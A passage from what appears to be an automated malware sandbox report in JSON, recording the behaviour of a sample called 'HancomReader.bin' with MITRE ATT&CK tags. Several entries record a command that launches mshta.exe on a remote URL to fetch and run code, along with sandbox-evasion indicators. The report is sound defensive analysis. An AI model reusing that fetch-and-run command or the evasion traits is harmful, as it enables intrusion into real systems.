Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"HancomReader.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"HancomReader.bin\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"HancomReader.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"HancomReader.bin\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"tracert.exe\" (Indicator: \"tracert\"; Source: \"00000000-00003992.00000000.66619.0055A000.00000004.mdmp, 00000000-00003992.00000001.66972.0055A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"47456,3496,3024,,RtlGetVersion,NTDLL.dll,\"252:02:52.000\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00003992.00000000.66619.0055A000.00000004.mdmp, 00000000-00003992.00000001.66972.0055A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"HancomReader.bin\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$29","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\timesbd.ttf\" at 00000000-00003372-0000010C-10460366\n \"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\timesbd.ttf\" at 00000000-00003372-0000010C-21400373\n \"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\times.ttf\" at 00000000-00003372-0000010C-21425062\n \"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\timesi.ttf\" at 00000000-00003372-0000010C-21452702\n \"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\timesi.ttf\" at 00000000-00003372-0000010C-21478676","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"mshta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"mshta.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"mshta.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003372)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00003372)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00003372)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00003372)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00003372)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\".exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\System32\\mshta.exe http://goodmarket.or.kr/member/check/dat/1.html\" - (UID: 00000000-00003992)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2b","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"goodmarket.or.kr\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"222.239.251.229:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"E:\\Project\\windows\\TOOLS\\RunCmd\\Release\\RunCmd.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"47467,3496,3136,,CreateProcessA,kernel32.dll,\"252:02:52.218\",RX=0,PX=0\" (Indicator: \"CreateProcess\"; Source: \"00000000-00003992.00000000.66619.00500000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"HancomReader.bin\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00003992-44969-85-00373FEE\n Sleep@KERNEL32.DLL at 00000000-00003992-44969-42-00373F5D\n Sleep@KERNEL32.DLL at 00000000-00003992-44969-26-00373FA2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00003992-44969-14-0037491C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"WinExec\" (Indicator: \"WinExec\"; File: \"HancomReader.bin\")\n Found reference to API \"WinExec\" (Indicator: \"WinExec\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")\n Found reference to API \"551736531179,3496,3132,,WinExec,kernel32.dll,\"252:03:00.343\",RX=0,PX=0\" (Indicator: \"WinExec\"; Source: \"00000000-00003992.00000001.66972.00537000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"HancomReader.bin\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"HancomReader.bin\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"HancomReader.bin\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Registry\\Machine\\System\\CurrentControlSet\\Control\\Keyboard Layout\" in Source: 00000000-00003992.00000000.66619.7F6F0000.00000002.mdmp\n 00000000-00003992.00000001.66972.7F6F0000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\com_helloworld\"\n \"com_helloworld\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"!IECompat!Mutex\"\n \"Local\\ZonesCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\".exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \".exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \"mshta.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"mshta.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \"mshta.exe\" failed to load missing module \"%WINDIR%\\system32\\DXGIDebug.dll\" - [base:0; Status:c0000135]\n \"mshta.exe\" failed to load missing module \"%WINDIR%\\System32\\DXGIDebug.dll\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"HancomReader.bin\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;\" (Indicator: \"mozilla/4.0 (\"; Source: \"00000000-00003372-00000C7D-7351936\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /member/check/dat/1.html HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: goodmarket.or.kr\nConnection: Keep-Alive\" Response ==> HTTP/1.1 404 Not Found\nDate: Fri\n 01 Sep 2023 08:13:12 GMT\nServer: Apache/2.2.15 (CentOS)\nContent-Length: 303\nConnection: close\nContent-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 766F0000\n \"mshta.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 766F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"110012009e287876@CRYPTBASE.dll\"\n \"150016003cca356d@ADVAPI32.dll\"\n \"0e000f00b4ca356d@ADVAPI32.dll\"\n \"0e000f00e8ca356d@ADVAPI32.dll\"\n \"1100120048cf356d@ADVAPI32.dll\"\n \"11001200b4cf356d@ADVAPI32.dll\"\n \"12001300c8cf356d@ADVAPI32.dll\"\n \"12001300f0cf356d@ADVAPI32.dll\"\n \"14001500d4e4356d@ADVAPI32.dll\"\n \"14001500ece4356d@ADVAPI32.dll\"\n \"1400150004e5356d@ADVAPI32.dll\"\n \"170018001ce5356d@ADVAPI32.dll\"\n \"0d000e0034e5356d@ADVAPI32.dll\"\n \"0f00100060e6356d@ADVAPI32.dll\"\n \"14001500a0e6356d@ADVAPI32.dll\"\n \"14001500b8e6356d@ADVAPI32.dll\"\n \"0c000d0000e7356d@ADVAPI32.dll\"\n \"0c000d0010e7356d@ADVAPI32.dll\"\n \"0e000f0020e7356d@ADVAPI32.dll\"\n \"1800190088e8356d@RPCRT4.dll\"\n \"13001400b4e8356d@RPCRT4.dll\"\n \"14001500c8e8356d@RPCRT4.dll\"\n \"16001700e0e8356d@RPCRT4.dll\"\n \"0b000c0068e1356d@WS2_32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"HancomReader.bin\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"HancomReader.bin\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"HancomReader.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"HancomReader.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"HancomReader.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"HancomReader.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"HancomReader.bin\" file has an entrypoint instructions - \"call\t0x4029bf,jmp\t0x4010c0,mov\tedi, edi,push\tebp,mov\tebp, esp,sub\tesp, 0x328,mov\tdword ptr [0x40aed8], eax,mov\tdword ptr [0x40aed4], ecx,mov\tdword ptr [0x40aed0], edx,mov\tdword ptr [0x40aecc], ebx,mov\tdword ptr [0x40aec8], esi,mov\tdword ptr [0x40aec4], edi,mov\tword ptr [0x40aef0], ss,mov\tword ptr [0x40aee4], cs,mov\tword ptr [0x40aec0], ds,mov\tword ptr [0x40aebc], es,mov\tword ptr [0x40aeb8], fs,mov\tword ptr [0x40aeb4], gs,pushfd\t,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"C:\\Windows\\System32\\mshta.exe http://goodmarket.or.kr/member/check/dat/1.html\" [Source: HancomReader.bin]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"goodmarket.or.kr\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\uxtheme.dll\" [Source: 00000000-00003992-00000C25-19032422]\n Observed system executable string:\"%WINDIR%\\system32\\Oleacc.dll\" [Source: 00000000-00003372-00000C25-26642790]\n Observed system executable string:\"%WINDIR%\\system32\\DXGIDebug.dll\" [Source: 00000000-00003372-00000C25-27969451]\n Observed system executable string:\"%WINDIR%\\System32\\D3D10Warp.dll\" [Source: 00000000-00003372-00000C25-29312179]\n Observed system executable string:\"%WINDIR%\\System32\\mshtml.dll\" [Source: 00000000-00003372-00000C25-31845943]\n Observed system executable string:\"%WINDIR%\\system32\\ole32.dll\" [Source: 00000000-00003372-00000C25-36933756]\n Observed system executable string:\"%WINDIR%\\system32\\Msimtf.dll\" [Source: 00000000-00003372-00000C25-37398399]\n Observed system executable string:\"%WINDIR%\\system32\\MSCTF.dll\" [Source: 00000000-00003372-00000C25-37505594]\n Observed system executable string:\"%WINDIR%\\System32\\DXGIDebug.dll\" [Source: 00000000-00003372-00000C25-38713406]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"mshta.exe\" with commandline \"http://goodmarket.or.kr/member/check/dat/1.html\" (UID: 00000000-00003372)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"mshta.exe\" with commandline \"http://goodmarket.or.kr/member/check/dat/1.html\" (UID: 00000000-00003372)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /member/check/dat/1.html HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: goodmarket.or.kr\nConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"HancomReader.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"\n \"mshta.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"HancomReader.bin\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"mshta.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\".exe\" reads file \"c:\\windows\\system32\\mshta.exe\"\n \"mshta.exe\" reads file \"c:\\windows\\fonts\\staticcache.dat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Calls an API typically used to find device information\n Matched sigs: Possibly tries to evade analysis by sleeping many times\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Contains ability to detect virtual environment (API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$32","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"mshta.exe\" touched file \"C:\\Program Files\\Microsoft Office\\Office14\\outllib.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\".exe\" touched file 